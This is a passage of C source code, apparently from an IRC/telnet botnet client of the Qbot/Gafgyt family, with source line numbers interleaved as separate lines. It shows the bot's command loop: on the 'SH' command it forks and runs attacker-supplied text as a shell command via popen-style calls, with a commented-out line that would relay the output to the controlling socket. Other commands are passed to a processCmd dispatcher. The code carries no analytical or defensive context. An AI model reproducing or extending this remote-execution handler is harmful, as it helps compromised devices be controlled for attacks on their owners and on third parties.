unsigned char *tmpcommand = command;
1900
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
1901
1902
if(strcmp(command, "SH") == 0)
1903
{
1904
unsigned char buf[1024];
1905
int command;
1906
if (listFork()) continue;
1907
memset(buf, 0, 1024);
1908
szprintf(buf, "%s 2>&1", message);
1909
command = fdpopen(buf, "r");
1910
while(fdgets(buf, 1024, command) != NULL)
1911
{
1912
trim(buf);
1913
// sockprintf(mainCommSock, "%s", buf);
1914
memset(buf, 0, 1024);
1915
sleep(1);
1916
}
1917
fdpclose(command);
1918
exit(0);
1919
}
1920
1921
unsigned char *params[10];
1922
int paramsCount = 1;
1923
unsigned char *pch = strtok(message, " ");
1924
params[0] = command;
1925
1926
while(pch)
1927
{
1928
if(*pch != '\n')
1929
{
1930
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
1931
memset(params[paramsCount], 0, strlen(pch) + 1);
1932
strcpy(params[paramsCount], pch);
1933
paramsCount++;
1934
}
1935
pch = strtok(NULL, " ");
1936
}
1937
1938
processCmd(paramsCount, params);
1939
1940
if(paramsCount > 1)
1941
{
1942
int q = 1;
1943
for(q = 1; q < paramsCount; q++)
1944
{
1945
free(params[q]);
1946
}
1947
}
1948
}
1949
}
1950
printf("LINK CLOSED\n");
1951
}
1952
1953
return 0;
1954
}
1955